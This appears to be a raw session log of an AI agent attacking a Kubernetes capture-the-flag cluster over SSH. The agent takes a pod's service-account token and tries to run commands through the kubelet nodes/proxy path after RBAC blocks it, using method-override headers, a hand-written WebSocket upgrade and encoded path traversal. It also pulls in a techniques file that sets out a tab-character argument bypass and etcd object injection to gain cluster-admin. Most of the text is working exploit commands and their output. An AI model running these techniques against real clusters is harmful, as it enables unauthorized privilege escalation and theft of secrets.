**In-Container etcdctl**: Uses `printf` piped to `etcdctl put` with certificate paths local to etcd container
**Privilege Escalation**: Transforms unauthenticated kubelet access into cluster-admin via RBAC modification in etcdThe skill confirms POST to /run endpoint. Port 10250 is network-blocked. But let me try HTTP method override through the API proxy — some servers honor X-HTTP-Method-Override.
ssh -tt -F /tmp/challenge-3/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g' | tail -15 STEALTH_TOKEN=$(kubectl exec -n b2 b2-6454ffccfb-bmfgs -- cat /var/run/secrets/kubernetes.io/serviceaccount/token) kubectl --token="$STEALTH_TOKEN" proxy --port=8888 & sleep 2 # Try method override headers echo "=== X-HTTP-Method-Override ===" curl -s --max-time 5 -H "X-HTTP-Method-Override: POST" "http://localhost:8888/api/v1/nodes/node-2/proxy/run/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/stealth?cmd=cat+/etc/secret/flag" 2>&1 echo "" echo "=== X-Method-Override ===" curl -s --max-time 5 -H "X-Method-Override: POST" "http://localhost:8888/api/v1/nodes/node-2/proxy/run/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/stealth?cmd=cat+/etc/secret/flag" 2>&1 echo "" echo "=== Try master kubelet from jumphost ===" curl -sk --max-time 3 "https://10.0.217.130:10250/pods/" 2>&1 | head -5 echo "=== Try read-only port ===" curl -s --max-time 3 "http://10.0.191.212:10255/pods/" 2>&1 | head -5 kill %1 2>/dev/null exit SSHEOF
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# echo "=== X-Method-Override ===" [?2004l=== X-Method-Override === [?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# curl -s --max-time 5 -H "X-Method-Override: POSST" "http://localhost:8888/api/v1/nodes/node-2/proxy/run/sr71-49fj1d92/sr71-8d5bcc67c9-kzl82/stealth?cmd=cat+/etc/secret/flag" 2>&1 [?2004l405: Method Not Allowed[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# [Kecho "" [?2004l [?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# echo "=== Try master kubelet from jumphost ==="" [?2004l=== Try master kubelet from jumphost === [?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# [Kcurl -sk --max-time 3 "https://10.0.217.130:102250/pods/" 2>&1 | head -5 [?2004l[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# [Kecho "=== Try read-only port ===" [?2004l=== Try read-only port === [?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# curl -s --max-time 3 "http://10.0.191.212:102555/pods/" 2>&1 | head -5 [?2004l[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# [Kkill %1 2>/dev/null [?2004l[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# exit [?2004lexit Connection to 18.134.180.16 closed.
{
"url": "https://raw.githubusercontent.com/raesene/rmm-skills/refs/heads/main/kubelet-exploit/references/techniques.md",
"prompt": "Return ALL technical details from this file. Every command, endpoint, technique, encoding trick, and implementation detail. I need the complete technical content, especially anything about accessing kubelets through API server proxies or bypassing RBAC checks."
}# Technical Reference Summary: Kubelet Exploit Techniques
## Core API Endpoints
The kubelet service (port 10250) exposes several unauthenticated endpoints. Key endpoints include:
- **Pod enumeration**: "/pods/" via GET retrieves all pods with full specifications
- **Command execution**: "/run/{ns}/{pod}/{container}" accepts POST requests
- **Interactive shells**: "/exec/{ns}/{pod}/{container}" provides WebSocket-based access
- **Log access**: "/containerLogs/{ns}/{pod}/{container}" reads stdout/stderr
- **Configuration**: "/configz" returns kubelet settings for reconnaissance
- **Node metrics**: "/stats/summary" displays resource utilization data
- **Node filesystem**: "/logs/" serves files from the node's "/var/log/" directory
## Command Execution Parameter Handling
The critical implementation detail: "The `/run` endpoint accepts the command via the `cmd` **query parameter** (not POST body)." The kubelet splits this parameter on space characters (0x20) to construct the argument array.
## Tab Character Bypass Technique
Since the kubelet only splits on spaces, "tab characters (0x09)" remain unsplit and pass to the shell. This enables multi-argument shell scripts within a single parameter:
```
?cmd=sh+-c+while%09read%09REPLY;do%09echo%09"$REPLY";done</path
```
This technique leverages shell builtins (`read`, `echo`) and redirection operators without requiring external binaries.
## In-Container etcdctl Exploitation
Rather than installing etcdctl locally, "you can run it inside the etcd container itself using the tab trick." The approach uses `printf` with hex-escaped bytes piped to etcdctl:
```
sh -c printf\t'\x6b\x38\x73\x00...'|etcdctl\tput
```
Advantages include eliminating local tool dependencies, avoiding certificate extraction, and leveraging internal loopback connectivity to port 2379.
## Protobuf Encoding Structure
Kubernetes etcd storage uses a wrapped format: "[4 bytes: 'k8s\x00']" followed by TypeMeta (apiVersion, kind) and the actual object protobuf encoding.
Core encoding functions require varint encoding and length-delimited field formatting, where "Tag: `(field_number << 3) | wire_type`."
## Container Inventory Analysis
The etcd container represents "the primary pivot point — it is the only control-plane container that retains a shell." It contains `sh`, `etcdctl`, and access to `/etc/kubernetes/pki/etcd/` volumes. Other control-plane containers lack shell access.
**Certificate reuse**: etcd server certificates function as valid client certificates due to shared CA trust, enabling etcd API authentication without additional credential extraction.ssh -tt -F /tmp/challenge-3/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g' | tail -15 kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c ' # Test if query params are forwarded through node proxy echo "=== containerLogs with params ===" kubectl get --raw "/api/v1/nodes/node-2/proxy/containerLogs/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/stealth?tailLines=5" 2>&1 | head -5 echo "EXIT=$?" echo "=== exec with just stdout in URL ===" kubectl get --raw "/api/v1/nodes/node-2/proxy/exec/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/stealth?stdout=1&command=id" 2>&1 | head -5 echo "=== Try URL-encoded params ===" kubectl get --raw "/api/v1/nodes/node-2/proxy/exec/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/stealth?stdout%3D1%26command%3Did" 2>&1 | head -5 ' exit SSHEOF
[?2004l[?2004h> echo "EXIT=$?" [?2004l[?2004h> echo "=== exec with just stdout in URL ===" [?2004l[?2004h> kubectl get --raw "/api/v1/nodes/node-2/proxy/exec/sr71-49fj1d92/sr71-8d5bc67c99-kzl82/stealth?stdout=1&command=id" 2>&1 | head -5 [?2004l[?2004h> echo "=== Try URL-encoded params ===" [?2004l[?2004h> kubectl get --raw "/api/v1/nodes/node-2/proxy/exec/sr71-49fj1d92/sr71-8d5bc67c99-kzl82/stealth?stdout%3D1%26command%3Did" 2>&1 | head -5 [?2004l[?2004h> ' [?2004l=== containerLogs with params === EXIT=0 === exec with just stdout in URL === Error from server (BadRequest): the server rejected our request for an unknown reason === Try URL-encoded params === Error from server (BadRequest): the server rejected our request for an unknown reason [?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# exit [?2004lexit Connection to 18.134.180.16 closed.
ssh -tt -F /tmp/challenge-3/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g' | tail -15 STEALTH_TOKEN=$(kubectl exec -n b2 b2-6454ffccfb-bmfgs -- cat /var/run/secrets/kubernetes.io/serviceaccount/token) kubectl --token="$STEALTH_TOKEN" proxy --port=8888 & sleep 2 # See the RAW response from exec endpoint via proxy echo "=== RAW EXEC RESPONSE ===" curl -sv --max-time 5 "http://localhost:8888/api/v1/nodes/node-2/proxy/exec/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/stealth?stdout=1&command=cat&command=/etc/secret/flag" 2>&1 | cat -v | head -20 echo "=== RAW RUN VIA POST WITH CONTENT-LENGTH 0 ===" curl -sv --max-time 5 -X POST -H "Content-Length: 0" "http://localhost:8888/api/v1/nodes/node-2/proxy/run/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/stealth?cmd=cat+/etc/secret/flag" 2>&1 | head -10 kill %1 2>/dev/null exit SSHEOF
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# [Kcurl -sv --max-time 5 -X POST -H "Content-Lengtth: 0" "http://localhost:8888/api/v1/nodes/node-2/proxy/run/sr71-49fj1d92/sr71-8dd5bc67c9-kzl82/stealth?cmd=cat+/etc/secret/flag" 2>&1 | head -10 [?2004l* Trying 127.0.0.1:8888... * Connected to localhost (127.0.0.1) port 8888 (#0) > POST /api/v1/nodes/node-2/proxy/run/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/stealth?cmd=cat+/etc/secret/flag HTTP/1.1 > Host: localhost:8888 > User-Agent: curl/7.81.0 > Accept: */* > Content-Length: 0 > * Mark bundle as not supporting multiuse < HTTP/1.1 403 Forbidden [?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# [Kkill %1 2>/dev/null [?2004l[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# exit [?2004lexit Connection to 18.134.180.16 closed.
ssh -tt -F /tmp/challenge-3/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g' | tail -25 STEALTH_TOKEN=$(kubectl exec -n b2 b2-6454ffccfb-bmfgs -- cat /var/run/secrets/kubernetes.io/serviceaccount/token) kubectl --token="$STEALTH_TOKEN" proxy --port=8888 & sleep 2 # Use bash /dev/tcp with WebSocket upgrade and capture ALL bytes exec 3<>/dev/tcp/localhost/8888 printf "GET /api/v1/nodes/node-2/proxy/exec/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/stealth?command=cat&command=/etc/secret/flag&stdout=1 HTTP/1.1\r\nHost: localhost\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Protocol: v4.channel.k8s.io\r\n\r\n" >&3 # Read response with timeout timeout 5 cat <&3 | cat -v exec 3>&- echo "" echo "=== DONE ===" kill %1 2>/dev/null exit SSHEOF
exit [?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# STEALTH_TOKEN=$(kubectl exec -n b2 b2-6454ffccffb-bmfgs -- cat /var/run/secrets/kubernetes.io/serviceaccount/token) [?2004l[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# [Kkubectl --token="$STEALTH_TOKEN" proxy --port=88888 & [?2004l[1] 897 [?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# [Ksleep 2 [?2004lStarting to serve on 127.0.0.1:8888 [?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# # Use bash /dev/tcp with WebSocket upgrade and capture ALL bytes [?2004l[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# [Kexec 3<>/dev/tcp/localhost/8888 [?2004l[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# printf "GET /api/v1/nodes/node-2/proxy/exec/sr771-49fj1d92/sr71-8d5bc67c9-kzl82/stealth?command=cat&command=/etc/secret/flag&stddout=1 HTTP/1.1\r\nHost: localhost\r\nUpgrade: websocket\r\nConnection: Upgrade\rr\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\nSec-WebSocket-Version: 13\r\nSeec-WebSocket-Protocol: v4.channel.k8s.io\r\n\r\n" >&3 [?2004l[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# [K# Read response with timeout [?2004l[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# timeout 5 cat <&3 | cat -v [?2004lHTTP/1.1 400 Bad Request^M Content-Length: 52^M Content-Type: text/plain; charset=utf-8^M Date: Wed, 25 Mar 2026 12:13:01 GMT^M ^M you must specify at least 1 of stdin, stdout, stderr[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# exec 3>&- [?2004l[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# echo "" [?2004l [?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# echo "=== DONE ===" [?2004l=== DONE === [?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kill %1 2>/dev/null [?2004l[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# exit [?2004lexit Connection to 18.134.180.16 closed.
ssh -tt -F /tmp/challenge-3/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g' | tail -15 echo '=== F117 STEALTH SA PERMS ===' kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl exec -n f117-19rks1k2 f117-56dcc5bbcf-lhpjg -- kubectl auth can-i --list 2>&1 | head -15 echo '=== F117 STEALTH CREATE NODES/PROXY ===' kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl exec -n f117-19rks1k2 f117-56dcc5bbcf-lhpjg -- kubectl auth can-i create nodes/proxy 2>&1 echo '=== F117 STEALTH POST KUBELET RUN ===' kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl exec -n f117-19rks1k2 f117-56dcc5bbcf-lhpjg -- sh -c 'TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token); curl -sk --max-time 5 -X POST -H "Authorization: Bearer $TOKEN" "https://kubernetes.default.svc/api/v1/nodes/node-2/proxy/run/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/stealth" -d "cmd=cat /etc/secret/flag"' 2>&1 exit SSHEOF
[?2004l{
"kind": "Status",
"apiVersion": "v1",
"metadata": {},
"status": "Failure",
"message": "nodes \"node-2\" is forbidden: User \"system:serviceaccount:f117-19rks1k2:stealth\" cannot create resource \"nodes/proxy\" in API group \"\" at the cluster scope",
"reason": "Forbidden",
"details": {
"name": "node-2",
"kind": "nodes"
},
"code": 403
}[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# [Kexit
[?2004lexit
Connection to 18.134.180.16 closed.ssh -tt -F /tmp/challenge-3/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g' | tail -20
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c '
UID="08be1dd3-1296-4da0-be41-03ba7e61fc3e"
echo "=== DOUBLE ENCODED TRAVERSAL ==="
kubectl get --raw "/api/v1/nodes/node-2/proxy/logs/%252e%252e/lib/kubelet/pods/${UID}/volumes/kubernetes.io~secret/secret-volume/flag" 2>&1
echo "EXIT=$?"
echo "=== TRY LISTING DIR ==="
kubectl get --raw "/api/v1/nodes/node-2/proxy/logs/%252e%252e/lib/kubelet/pods/${UID}/volumes/kubernetes.io~secret/secret-volume/" 2>&1 | head -10
echo "=== TRY WITHOUT kubernetes.io~ PREFIX ==="
kubectl get --raw "/api/v1/nodes/node-2/proxy/logs/%252e%252e/lib/kubelet/pods/${UID}/volumes/" 2>&1 | head -10
'
exit
SSHEOF[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -cc '
[?2004l[?2004h> UID="08be1dd3-1296-4da0-be41-03ba7e61fc3e"
[?2004l[?2004h> echo "=== DOUBLE ENCODED TRAVERSAL ==="
[?2004l[?2004h> kubectl get --raw "/api/v1/nodes/node-2/proxy/logs/%252e%252e/lib/kubelet/pods//${UID}/volumes/kubernetes.io~secret/secret-volume/flag" 2>&1
[?2004l[?2004h> echo "EXIT=$?"
[?2004l[?2004h> echo "=== TRY LISTING DIR ==="
[?2004l[?2004h> kubectl get --raw "/api/v1/nodes/node-2/proxy/logs/%252e%252e/lib/kubelet/pods//${UID}/volumes/kubernetes.io~secret/secret-volume/" 2>&1 | head -10
[?2004l[?2004h> echo "=== TRY WITHOUT kubernetes.io~ PREFIX ==="
[?2004l[?2004h> kubectl get --raw "/api/v1/nodes/node-2/proxy/logs/%252e%252e/lib/kubelet/pods//${UID}/volumes/" 2>&1 | head -10
[?2004l[?2004h> '
[?2004l=== DOUBLE ENCODED TRAVERSAL ===
Error from server (NotFound): the server could not find the requested resource
EXIT=1
=== TRY LISTING DIR ===
Error from server (NotFound): the server could not find the requested resource
=== TRY WITHOUT kubernetes.io~ PREFIX ===
Error from server (NotFound): the server could not find the requested resource
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# exit
[?2004lexit
Connection to 18.134.180.16 closed.ssh -tt -F /tmp/challenge-3/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g' | tail -15 kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c ' echo "=== VERIFY TRAVERSAL WORKS ===" kubectl get --raw "/api/v1/nodes/node-2/proxy/logs/%252e%252e/log/" 2>&1 | head -5 echo "=== TRY TRIPLE ENCODED ===" kubectl get --raw "/api/v1/nodes/node-2/proxy/logs/%25252e%25252e/lib/" 2>&1 | head -5 echo "=== TRY JUST DOTS ===" kubectl get --raw "/api/v1/nodes/node-2/proxy/logs/..%252flib/" 2>&1 | head -5 echo "=== TRY BACKSLASH ===" kubectl get --raw "/api/v1/nodes/node-2/proxy/logs/..%255c..%255clib/" 2>&1 | head -5 ' exit SSHEOF
[?2004l[?2004h> kubectl get --raw "/api/v1/nodes/node-2/proxy/logs/..%252flib/" 2>&1 | head -5 [A> kubectl get --raw "/api/v1/nodes/node-2/proxy/logs/..%252flib/" 2>&1 | head -[K5 [?2004l[?2004h> echo "=== TRY BACKSLASH ===" [?2004l[?2004h> kubectl get --raw "/api/v1/nodes/node-2/proxy/logs/..%255c..%255clib/" 2>&1 | hhead -5 [?2004l[?2004h> ' [?2004l=== VERIFY TRAVERSAL WORKS === Error from server (NotFound): the server could not find the requested resource === TRY TRIPLE ENCODED === Error from server (NotFound): the server could not find the requested resource === TRY JUST DOTS === Error from server (NotFound): the server could not find the requested resource === TRY BACKSLASH === Error from server (NotFound): the server could not find the requested resource [?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# exit [?2004lexit Connection to 18.134.180.16 closed.
I'm going to try invoking the kubelet-exploit skill to see if it has a technique I'm missing.
{
"skill": "kubelet-exploit",
"args": "I have nodes/proxy GET access (system:serviceaccount:b2:stealth) in a Kubernetes 1.35 cluster. I need to read /etc/secret/flag from pod sr71-8d5bc67c9-kzl82 in namespace sr71-49fj1d92 on node-2 (IP 10.0.191.212). Direct kubelet access on port 10250 is blocked by network policy. I can only access the kubelet through the API server's nodes/proxy path. POST is forbidden (no CREATE on nodes/proxy). The kubelet has anonymous auth disabled. I have kubectl and curl available. How do I get command execution?"
}